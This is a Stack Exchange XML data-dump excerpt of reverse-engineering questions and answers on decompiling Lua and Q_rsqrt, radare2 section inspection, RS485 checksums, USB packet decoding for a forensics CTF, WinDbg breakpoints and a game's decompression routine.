  <row Id="18577" PostTypeId="2" ParentId="17479" CreationDate="2018-06-22T03:45:25.677" Score="1" Body="&lt;p&gt;There is a decompiler program in this collection of tools that are fitted for the modification of a game called Mafia 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.playground.ru/files/mafia_2_self_tools_nabor_utilit-83905/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.playground.ru/files/mafia_2_self_tools_nabor_utilit-83905/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although a majority of the programs were specifically created for the game, the Lua Viewer/Decompiler indiscriminately assesses Lua files. This could work in your favor and it could also not; its failure could be attributed to versions of Lua that are incompatible with the program.&lt;/p&gt;&#xA;" OwnerUserId="24736" LastActivityDate="2018-06-22T03:45:25.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18579" PostTypeId="2" ParentId="14143" CreationDate="2018-06-22T14:33:15.383" Score="0" Body="&lt;p&gt;It's probably just a simple cast like WasserEsser said. I encountered this same type of cast while trying to decompile the q_rsqrt function. You could probably recreate the same type of behaviour by using an cast, like WasserEsser suggested, but you could probably also use an union, like in this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float Q_rsqrt( float number )&#xA;{&#xA;    union {&#xA;        float f;&#xA;        uint32_t i;&#xA;    } conv;&#xA;&#xA;    float x2;&#xA;    const float threehalfs = 1.5F;&#xA;&#xA;    x2 = number * 0.5F;&#xA;    conv.f  = number;&#xA;    conv.i  = 0x5f3759df - ( conv.i &amp;gt;&amp;gt; 1 );&#xA;    conv.f  = conv.f * ( threehalfs - ( x2 * conv.f * conv.f ) );&#xA;    return conv.f;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which then decompiles to this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float __stdcall Q_rsqrt(float a1)&#xA;{&#xA;  return (flt1Point5&#xA;        - a1&#xA;        * flt0Point5&#xA;        * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) &amp;gt;&amp;gt; 1))&#xA;        * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) &amp;gt;&amp;gt; 1)))&#xA;       * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) &amp;gt;&amp;gt; 1));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24783" LastActivityDate="2018-06-22T14:33:15.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18581" PostTypeId="1" AcceptedAnswerId="18595" CreationDate="2018-06-22T20:02:07.217" Score="1" ViewCount="731" Body="&lt;p&gt;I have the following data. Can someone help me reverse engineer the checksum calculation?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Data                            Checksum&#xA;01 02 80 05 00 00 00 00 00       7d 8c&#xA;01 03 80 05 00 00 00 00 00       ae cb&#xA;01 04 80 05 00 00 00 00 00       b6 0c&#xA;01 05 80 05 00 00 00 00 00       65 4b&#xA;01 06 80 05 00 00 00 00 00       10 83&#xA;01 07 80 05 00 00 00 00 00       c3 c4&#xA;01 08 80 05 00 00 00 00 00       01 1d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24786" LastEditorUserId="18317" LastEditDate="2018-06-22T20:35:21.960" LastActivityDate="2018-06-25T17:31:46.320" Title="Reverse Engineering Checksum (RS485 Bus)" Tags="|decryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18582" PostTypeId="1" AcceptedAnswerId="18586" CreationDate="2018-06-22T23:13:58.763" Score="4" ViewCount="1742" Body="&lt;p&gt;Given a simple program like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main (int argc, char * argv[] ) {&#xA;    char * arr[] = {&quot;foo&quot;, &quot;bar&quot;, &quot;baz&quot;};&#xA;    *(arr[0]) = 'F';&#xA;    printf( &quot;%s&quot;, arr[0] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I find out what section the strings &lt;code&gt;foo&lt;/code&gt;, &lt;code&gt;bar&lt;/code&gt;, and &lt;code&gt;baz&lt;/code&gt; are defined in? As in, are they in the &lt;code&gt;.text&lt;/code&gt; section or &lt;code&gt;.rodata&lt;/code&gt;, and also check to make sure those section are &lt;code&gt;ro&lt;/code&gt;, or &lt;code&gt;rw&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-06-23T00:42:44.640" LastActivityDate="2018-06-23T06:50:46.617" Title="How do I find out what section variables and strings are defined in?" Tags="|c|radare2|elf|section|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18583" PostTypeId="1" CreationDate="2018-06-22T23:20:44.730" Score="8" ViewCount="2792" Body="&lt;p&gt;I'm currently enjoying a forensics CTF challenge. We were provided a PCAPNG file. When opened in Wireshark, the file contains a sequence of URB_INTERRUPT packets from two devices - but no GET_DESCRIPTOR info that identifies either device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first device give a sequence of 8-bit data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00:00:00:00:00:00:00:00&#xA;00:00:04:00:00:00:00:00&#xA;00:00:04:15:00:00:00:00&#xA;00:00:00:15:00:00:00:00&#xA;00:00:08:15:00:00:00:00&#xA;00:00:08:00:00:00:00:00&#xA;00:00:00:00:00:00:00:00&#xA;02:00:00:00:00:00:00:00&#xA;02:00:2d:00:00:00:00:00&#xA;00:00:2d:00:00:00:00:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Guessing that this was a keyboard, I decoded the sequence to this message: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scanlines-are-real-cool-guys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which seems like a hint, right? The second (much longer) sequence of URB_INTERRUPT packets from the second device is 7-bit data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01:00:01:00:02:00:00&#xA;01:00:00:00:02:00:00&#xA;01:00:00:00:01:00:00&#xA;01:00:00:00:02:00:00&#xA;01:00:01:00:01:00:00&#xA;01:00:01:00:02:00:00&#xA;01:00:00:00:02:00:00&#xA;01:00:01:00:01:00:00&#xA;01:00:01:00:00:00:00&#xA;01:00:00:00:01:00:00&#xA;01:00:ff:ff:01:00:00&#xA;01:00:fe:ff:00:00:00&#xA;01:00:ff:ff:00:00:00&#xA;01:00:ff:ff:00:00:00&#xA;01:00:ff:ff:ff:ff:00&#xA;01:00:ff:ff:ff:ff:00&#xA;01:00:ff:ff:ff:ff:00&#xA;01:00:ff:ff:ff:ff:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guessed that this could be a mouse - even though most mouse data seem to  only contain 4 bits, based on the fact that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Only two of the bits seem to change in any significant way - all other bits seem to only ever be &lt;code&gt;00&lt;/code&gt;, &lt;code&gt;01&lt;/code&gt;, or &lt;code&gt;ff&lt;/code&gt; - thus potentially being the x and y coordinates&lt;/li&gt;&#xA;&lt;li&gt;The variable data stays in between 0 and 255&lt;/li&gt;&#xA;&lt;li&gt;Mice and keyboards seem to be the most common devices using URB_INTERRUPT&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Acting on that guess, I sent the data through AWK:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;awk -F: 'function comp(v){if(v&amp;gt;127)v-=256;return v}{x+=comp(strtonum(&quot;0x&quot;$3));y+=comp(strtonum(&quot;0x&quot;$5))}$1==&quot;01&quot;{print x,y}' hexoutput_second-part.txt &amp;gt; mouse1.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then through GNUPLOT - hoping to get a traced message or something from an on-screen keyboard. But no luck - the plot ends up as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B8RCu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B8RCu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not especially helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is - how would I go tracking down what other devices could be sending 7 bit URB_INTERRUPT data? What is the best way to attack this identification process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="24160" LastActivityDate="2018-06-22T23:20:44.730" Title="Identifying a USB device for a forensics CTF challenge (with no GET DESCRIPTOR)" Tags="|digital-forensics|usb|wireshark|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18584" PostTypeId="2" ParentId="15181" CreationDate="2018-06-23T00:43:16.830" Score="9" Body="&lt;p&gt;I know it's been over a year since you've asked this question, but I thought in the interest of anyone else who may have come across this question like me, I would field an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways I've found to get radare2 to properly analyze the newly defined function:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Seek to the address you would like to define the function at&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type 'V' to enter hexdump mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type 'd' then 'f' to define the function at that point&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you can press 'V' again and you will get a properly rendered control flow graph&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The other way I found avoids visual mode, which is preferable for scripting:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Define the function as you did using a command like 'f main @ 0x8470', with main being the function name and 0x8470 being the address, of course.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the command 'af main', where main is the name of the function just defined.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Voila! Your newly created function is now analyzed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tried both of these methods on an executable I'm analyzing which has the same problem you're describing, and both provided the same results.&lt;/p&gt;&#xA;" OwnerUserId="24788" LastActivityDate="2018-06-23T00:43:16.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18586" PostTypeId="2" ParentId="18582" CreationDate="2018-06-23T06:12:06.077" Score="4" Body="&lt;p&gt;In the following answer, I'll show you several ways to achieve what you want. I'll use different approaches to do this with radre2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, let's create a program with a bit longer strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat helloworld.c &#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void main (int argc, char * argv[] ) {&#xA;    char * arr[] = {&quot;Hello&quot;, &quot;World&quot;, &quot;Byebye&quot;};&#xA;    arr[0] = &quot;F&quot;;&#xA;    printf( &quot;%s\n&quot;, arr[0] );&#xA;}&#xA;&#xA;$ gcc helloworld.c -o helloworld&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And open it in radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 helloworld&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we have a tiny binary, we can start.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 1: Strings in data sections&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;iz&lt;/code&gt; command you can list the strings in the data sections. For each string, you can see the section it belongs to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; iz&#xA;000 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello&#xA;001 0x000007ba 0x000007ba   5   6 (.rodata) ascii World&#xA;002 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byeby&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course, you can always use radare's internal grep (&lt;code&gt;~&lt;/code&gt;) to take only the relevant columns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; iz~[5,7]&#xA;(.rodata) Hello&#xA;(.rodata) World&#xA;(.rodata) Byebye&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Method 2: Strings in the whole binary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Unlike &lt;code&gt;iz&lt;/code&gt;, the command &lt;code&gt;izz&lt;/code&gt; will search for strings in the whole binary. This command will show you more strings than &lt;code&gt;iz&lt;/code&gt; but it'll search for strings in other sections as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; izz&#xA;000 0x00000034 0x00000034   4  10 (LOAD0) utf16le @8\t@&#xA;001 0x00000238 0x00000238  27  28 (.interp) ascii /lib64/ld-linux-x86-64.so.2&#xA;002 0x00000379 0x00000379   9  10 (.dynstr) ascii libc.so.6&#xA;003 0x00000383 0x00000383   4   5 (.dynstr) ascii puts&#xA;004 0x00000388 0x00000388  16  17 (.dynstr) ascii __stack_chk_fail&#xA;005 0x00000399 0x00000399  14  15 (.dynstr) ascii __cxa_finalize&#xA;006 0x000003a8 0x000003a8  17  18 (.dynstr) ascii __libc_start_main&#xA;007 0x000003ba 0x000003ba   9  10 (.dynstr) ascii GLIBC_2.4&#xA;008 0x000003c4 0x000003c4  11  12 (.dynstr) ascii GLIBC_2.2.5&#xA;009 0x000003d0 0x000003d0  27  28 (.dynstr) ascii _ITM_deregisterTMCloneTable&#xA;010 0x000003ec 0x000003ec  14  15 (.dynstr) ascii __gmon_start__&#xA;011 0x000003fb 0x000003fb  25  26 (.dynstr) ascii _ITM_registerTMCloneTable&#xA;...&#xA;019 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello&#xA;020 0x000007ba 0x000007ba   5   6 (.rodata) ascii World&#xA;021 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byebye&#xA;022 0x00000810 0x00000810   4   5 (.eh_frame) ascii \e\f\a\b&#xA;023 0x00000840 0x00000840   4   5 (.eh_frame) ascii \e\f\a\b&#xA;024 0x00000867 0x00000867   5   6 (.eh_frame) ascii ;*3$&quot;&#xA;025 0x0000088a 0x0000088a   4   5 (.eh_frame) ascii h\f\a\b&#xA;026 0x00001038 0x00000000  16  17 (.comment) ascii GCC: (GNU) 7.2.0&#xA;027 0x00001669 0x00000001   6   7 (.strtab) ascii init.c&#xA;028 0x00001670 0x00000008  10  11 (.strtab) ascii crtstuff.c&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, you can see that radare2 shows you the section name for each string. &#xA;If you are searching for specific strings, grep is your friend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; izz~Hello, World, Byebye&#xA;019 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello&#xA;020 0x000007ba 0x000007ba   5   6 (.rodata) ascii World&#xA;021 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byebye&#xA;&#xA;[0x000005b0]&amp;gt; izz~Hello, World, Byebye[5,7]&#xA;(.rodata) Hello&#xA;(.rodata) World&#xA;(.rodata) Byebye&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Method 3: Section of a specific address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In this method, you already know the address of the string and you want to know to which section it belongs. Let's take &quot;Hello&quot; for example. We saw that &quot;Hello&quot; address is &lt;code&gt;0x000007b4&lt;/code&gt;. Let's verify it using &lt;code&gt;ps&lt;/code&gt; (&lt;strong&gt;p&lt;/strong&gt;rint &lt;strong&gt;s&lt;/strong&gt;tring):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; ps @ 0x000007b4&#xA;Hello&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, we printed a zero-terminated string from &lt;code&gt;0x07b4&lt;/code&gt; (&quot;@&quot; is radare's temporary seek). Now that we are sure that this is the address of &quot;Hello&quot;, we can use &lt;code&gt;iS.&lt;/code&gt; to show the current Section name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; iS. @ 0x07b4&#xA;Current section&#xA;00 0x000007b0    25 0x000007b0    25 -r-- .rodata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected, this address belongs to the &lt;code&gt;.rodata&lt;/code&gt; section. Just as we saw before.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Show Sections' attributes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally, you wanted to check whether the sections' attributes are read-only or read-write. Using &lt;code&gt;iS&lt;/code&gt; you can list all the sections, including their attributes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; iS&#xA;[Sections]&#xA;00 0x00000000     0 0x00000000     0 ---- &#xA;01 0x00000238    28 0x00000238    28 -r-- .interp&#xA;02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag&#xA;03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id&#xA;04 0x00000298    28 0x00000298    28 -r-- .gnu.hash&#xA;05 0x000002b8   192 0x000002b8   192 -r-- .dynsym&#xA;06 0x00000378   157 0x00000378   157 -r-- .dynstr&#xA;07 0x00000416    16 0x00000416    16 -r-- .gnu.version&#xA;08 0x00000428    48 0x00000428    48 -r-- .gnu.version_r&#xA;09 0x00000458   216 0x00000458   216 -r-- .rela.dyn&#xA;10 0x00000530    48 0x00000530    48 -r-- .rela.plt&#xA;11 0x00000560    23 0x00000560    23 -r-x .init&#xA;12 0x00000580    48 0x00000580    48 -r-x .plt&#xA;13 0x000005b0   498 0x000005b0   498 -r-x .text&#xA;14 0x000007a4     9 0x000007a4     9 -r-x .fini&#xA;15 0x000007b0    25 0x000007b0    25 -r-- .rodata&#xA;16 0x000007cc    52 0x000007cc    52 -r-- .eh_frame_hdr&#xA;17 0x00000800   240 0x00000800   240 -r-- .eh_frame&#xA;18 0x00000de0     8 0x00200de0     8 -rw- .init_array&#xA;19 0x00000de8     8 0x00200de8     8 -rw- .fini_array&#xA;20 0x00000df0   480 0x00200df0   480 -rw- .dynamic&#xA;21 0x00000fd0    48 0x00200fd0    48 -rw- .got&#xA;22 0x00001000    40 0x00201000    40 -rw- .got.plt&#xA;23 0x00001028    16 0x00201028    16 -rw- .data&#xA;24 0x00001038     0 0x00201038     8 -rw- .bss&#xA;25 0x00001038    17 0x00000000    17 ---- .comment&#xA;26 0x00001050  1560 0x00000000  1560 ---- .symtab&#xA;27 0x00001668   555 0x00000000   555 ---- .strtab&#xA;28 0x00001893   259 0x00000000   259 ---- .shstrtab&#xA;29 0x00000040   504 0x00000040   504 -r-x PHDR&#xA;30 0x00000238    28 0x00000238    28 -r-- INTERP&#xA;31 0x00000000  2288 0x00000000  2288 -r-x LOAD0&#xA;32 0x00000de0   600 0x00200de0   608 -rw- LOAD1&#xA;33 0x00000df0   480 0x00200df0   480 -rw- DYNAMIC&#xA;34 0x00000254    68 0x00000254    68 -r-- NOTE&#xA;35 0x000007cc    52 0x000007cc    52 -r-- GNU_EH_FRAME&#xA;36 0x00000000     0 0x00000000     0 -rw- GNU_STACK&#xA;37 0x00000de0   544 0x00200de0   544 -r-- GNU_RELRO&#xA;38 0x00000000    64 0x00000000    64 -rw- ehdr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively,  use &lt;code&gt;iSq&lt;/code&gt; to show a less-verbose output (&lt;strong&gt;q&lt;/strong&gt; is for &lt;strong&gt;quiet&lt;/strong&gt;), and you also can grep for read-write sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000005b0]&amp;gt; iS~rw&#xA;18 0x00000de0     8 0x00200de0     8 -rw- .init_array&#xA;19 0x00000de8     8 0x00200de8     8 -rw- .fini_array&#xA;20 0x00000df0   480 0x00200df0   480 -rw- .dynamic&#xA;21 0x00000fd0    48 0x00200fd0    48 -rw- .got&#xA;22 0x00001000    40 0x00201000    40 -rw- .got.plt&#xA;23 0x00001028    16 0x00201028    16 -rw- .data&#xA;24 0x00001038     0 0x00201038     8 -rw- .bss&#xA;32 0x00000de0   600 0x00200de0   608 -rw- LOAD1&#xA;33 0x00000df0   480 0x00200df0   480 -rw- DYNAMIC&#xA;36 0x00000000     0 0x00000000     0 -rw- GNU_STACK&#xA;38 0x00000000    64 0x00000000    64 -rw- ehdr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to see read-only sections, use grep like this &lt;code&gt;iS~r--&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-06-23T06:50:46.617" LastActivityDate="2018-06-23T06:50:46.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18588" PostTypeId="1" AcceptedAnswerId="18589" CreationDate="2018-06-23T08:16:08.660" Score="2" ViewCount="1860" Body="&lt;p&gt;I can set a &lt;code&gt;DWORD&lt;/code&gt; memory read/write access breakpoint in WinDbg with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ba r 4 0x0307F42C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is there a way to set more than 4 of those?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2018-06-25T20:32:02.363" Title="Can I set more than 4 memory access breakpoints in WinDbg?" Tags="|debugging|memory|windbg|breakpoint|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18589" PostTypeId="2" ParentId="18588" CreationDate="2018-06-23T10:30:46.253" Score="5" Body="&lt;p&gt;Those are called hardware breakpoints and are related to &lt;a href=&quot;https://en.m.wikipedia.org/wiki/X86_debug_register&quot; rel=&quot;nofollow noreferrer&quot;&gt;debug registers&lt;/a&gt; in the CPU. There are usually 6 of them but only DR0-DR3 used to specify an address for hardware breakpoints. &lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-06-23T16:22:45.760" LastActivityDate="2018-06-23T16:22:45.760" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18590" PostTypeId="1" CreationDate="2018-06-23T20:40:31.133" Score="1" ViewCount="317" Body="&lt;p&gt;I'm trying to reverse decompression algorithm for one of old games. After some reversing I found that it reads bit stream, not byte by byte. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::vector&amp;lt;uint32_t&amp;gt; TABLE_1 = {0x10, 0x11, 0x12, 0, 8, 7, 9, 6, 0x0A, 5, 0x0B, 4, 0x0C, 3, 0x0D, 2, 0x0E, 1, 0x0F};&#xA;&#xA;uint32_t f1()&#xA;{&#xA;    if (_stream_end &amp;lt; 5)&#xA;    {&#xA;        read_to_stream();&#xA;    }&#xA;&#xA;    uint32_t v1 = read_from_stream(0x1F, 5) + 0x101;&#xA;    std::cout &amp;lt;&amp;lt; &quot;f1:: v1 = &quot; &amp;lt;&amp;lt; v1 &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    if (_stream_end &amp;lt; 5)&#xA;    {&#xA;        read_to_stream();&#xA;    }&#xA;&#xA;    uint32_t v2 = read_from_stream(0x1F, 5) + 1;&#xA;    std::cout &amp;lt;&amp;lt; &quot;f1:: v2 = &quot; &amp;lt;&amp;lt; v2 &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    if (_stream_end &amp;lt; 4)&#xA;    {&#xA;        read_to_stream();&#xA;    }&#xA;&#xA;    uint32_t v3 = read_from_stream(0xF, 4) + 4;&#xA;    std::cout &amp;lt;&amp;lt; &quot;f1:: v3 = &quot; &amp;lt;&amp;lt; v3 &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    if (v1 &amp;gt; 0x11E || v2 &amp;gt; 0x1E)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;f1:: v1 or v2 is above limit&quot; &amp;lt;&amp;lt; std::endl;&#xA;        return 1;&#xA;    }&#xA;&#xA;    std::vector&amp;lt;uint32_t&amp;gt; v4(19, 0);&#xA;&#xA;    if (v3 != 0)&#xA;    {&#xA;        for (uint32_t i = 0; i &amp;lt; v3; i++)&#xA;        {&#xA;            if (_stream_end &amp;lt; 3)&#xA;            {&#xA;                read_to_stream();&#xA;            }&#xA;            v4[TABLE_1[i]] = read_from_stream(0x7, 3);&#xA;        }&#xA;&#xA;        std::cout &amp;lt;&amp;lt; &quot;v4 = [ &quot;;&#xA;        for (auto &amp;amp;item : v4)&#xA;        {&#xA;            std::cout &amp;lt;&amp;lt; item &amp;lt;&amp;lt; &quot; &quot;;&#xA;        }&#xA;        std::cout &amp;lt;&amp;lt; &quot;]&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    // rest of the code&#xA;}&#xA;&#xA;uint32_t begin(uint32_t *value)&#xA;{&#xA;    if (_stream_end == 0)&#xA;    {&#xA;        read_to_stream();&#xA;    }&#xA;&#xA;    *value = read_from_stream(0x1, 1);&#xA;&#xA;    uint32_t result = read_from_stream(0x3, 2);&#xA;&#xA;    if (result == 2)&#xA;    {&#xA;        f1();&#xA;    }&#xA;&#xA;    if (result == 1)&#xA;    {&#xA;        // execute subroutine&#xA;    }&#xA;&#xA;    if (result == 0)&#xA;    {&#xA;        // execute subroutine&#xA;    }&#xA;&#xA;    // rest of code&#xA;}&#xA;&#xA;uint32_t read_from_stream(uint32_t mask, uint32_t count)&#xA;{&#xA;&#xA;    uint32_t result = _stream &amp;amp; mask;&#xA;&#xA;    _stream = _stream &amp;gt;&amp;gt; count;&#xA;    _stream_end -= count;&#xA;&#xA;    return result;&#xA;}&#xA;&#xA;void read_to_stream()&#xA;{&#xA;    uint32_t byte = static_cast&amp;lt;uint32_t&amp;gt;(read_byte() &amp;amp; 0xFF);&#xA;    _stream = _stream | (byte &amp;lt;&amp;lt; _stream_end);&#xA;    _stream_end += 8;&#xA;}&#xA;&#xA;char read_byte()&#xA;{&#xA;    if (_buffer_cursor == _buffer.size())&#xA;    {&#xA;        throw new std::runtime_error(&quot;read_byte&quot;);&#xA;    }&#xA;&#xA;    return _buffer[_buffer_cursor++];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I found that it uses two buffers: A (32768 bytes) and B (4096 bytes). First it fills in A buffer and after that uses it to fill in B buffer. From B buffer it copies data to output buffer so I guess it is uncompressed at this step.&#xA;Maybe you could tell me what algorithms uses same kind of decompression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some other tables from that code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte_5E00E8     db 8 dup(0), 1, 0, 1, 0, 2, 0, 2, 0, 3, 0, 3, 0, 4, 0&#xA;                db 4, 0, 5, 0, 5, 0, 6, 0, 6, 0, 7, 0, 7, 0, 8, 0, 8, 0&#xA;                db 9, 0, 9, 0, 0Ah, 0, 0Ah, 0, 0Bh, 0, 0Bh, 0, 0Ch, 0&#xA;                db 0Ch, 0, 0Dh, 0, 0Dh, 0&#xA;&#xA;word_5E00AC     dw 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h&#xA;                dw 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h&#xA;                dw 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This two tables used together in one of functions (hard to reverse because it is a bit long and complicates). I may be wrong in mu suggestions because I'm not a reverse engineering specialist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two files: &lt;a href=&quot;https://www.dropbox.com/s/4km2rjmfwi2dw1e/Archive.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/4km2rjmfwi2dw1e/Archive.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guys, I checked one of previous developer's game (with source code published) and found that they used same library for compression (&lt;a href=&quot;https://github.com/KranX/Vangers/blob/master/lib/utils/xzip/outzip.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;library link&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think question does not make any sense now but let's keep it here for history.&lt;/p&gt;&#xA;" OwnerUserId="24795" LastEditorUserId="24795" LastEditDate="2018-06-25T11:24:54.217" LastActivityDate="2018-06-25T11:24:54.217" Title="Compression algorithm working with bitstream" Tags="|c++|file-format|decompress|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
